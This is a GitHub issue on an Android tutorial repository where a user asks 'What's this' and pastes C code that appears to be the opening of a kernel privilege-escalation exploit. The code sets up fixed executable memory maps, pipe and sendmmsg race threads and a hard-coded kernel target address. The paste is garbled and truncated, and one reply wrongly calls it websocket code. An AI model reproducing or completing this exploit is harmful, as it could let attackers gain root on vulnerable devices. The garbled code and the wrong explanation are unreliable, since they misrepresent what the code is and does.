hussien89aa / AndroidTutorialForBeginners

Step by step to build Android apps using Android Studio
https://www.udemy.com/android-tutorial-for-beginners/?couponCode=ANDORIDGITHUB
4.38k stars 6.1k forks source link

What's this #33

Open RUSSIANKGB23 opened 3 years ago

RUSSIANKGB23 commented 3 years ago

define _GNU_SOURCE#include #include #include #include #include <netinet/ip.h> #include <sys/mman.h>#include <sys/uio.h>#include <sys/types.h>#include <sys/socket.h>#include <sys/stat.h> #define INADDR_LOOPBACK (0x7f000001) / 127.0.0.1 / unsigned long kill_switch = 0; #define MMAP_START (0x40000000)#define MMAP_SIZE (0x1000)#define MMAP_BASE(i) (MMAP_START + (i) MMAP_SIZE)#define NR_MMAPS (512)enum mmap_status_t { MMAP_MAPPED = 0, MMAP_UNMAPPED};struct mmap_info_t { size_t base; size_t len; void vaddr; enum mmap_status_t status;};struct mmap_info_t mmap_info[NR_MMAPS];pthread_t mmap_thread;static struct iovec mmap_iov[NR_MMAPS]; #define NR_PIPES (1)#define MAX_RACE_SECS (5)struct pipe_pair_t { int fd [ 2 ];};struct pipe_pair_t pipes[NR_PIPES];pthread_t pipe_read_threads[NR_PIPES];pthread_t pipe_write_threads[NR_PIPES]; #define NR_SOCKS (1000)pthread_t sendmmsg_threads[NR_SOCKS]; static inline void init_mmap(){ int i; for (i = 0; i < NR_MMAPS; i++) { mmap_info[i].base = MMAP_BASE(i);mmap_info [i]. len = MMAP_SIZE; mmap_info[i].vaddr = mmap( (void )mmap_info[i].base, mmap_info[i].len, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0 ); if (mmap_info[i].vaddr == (void )-1) { perror("mmap failed"); exit(1); } mmap_iov[i].iov_base = mmap_info[i].vaddr; switch(i) { case 0:mmap_iov [i]. iov_len = 0 ; break; case 1:mmap_iov [i]. iov_len = 32 ; break; default:mmap_iov [i]. iov_len = 8 ; } } return;} static inline void init_pipes(){ int i; for (i = 0; i < NR_PIPES; i++) { if (pipe(pipes[i].fd) == -1) { perror("pipe failed"); exit(1); } } return;} int server_sockfd;struct sockaddr_in sk_client;#define UDP_SERVER_PORT (5105)struct iovec msg_iovecs[NR_MMAPS];size_t target_addr = 0xffffffc001e3c0c4UL;static inline void init_sock(){ int i; struct sockaddr_in server; server_sockfd = socket (AF_INET, SOCK_DGRAM, 0 ); if (server_sockfd == -1) { perror("socket failed"); exit(2); } server. sin_family = AF_INET;

fidelisnwabisi commented 3 years ago

I have no idea

codinguyy commented 2 years ago

I would say a web socket to be able to connect to a certain website or get data from a Server via a websocket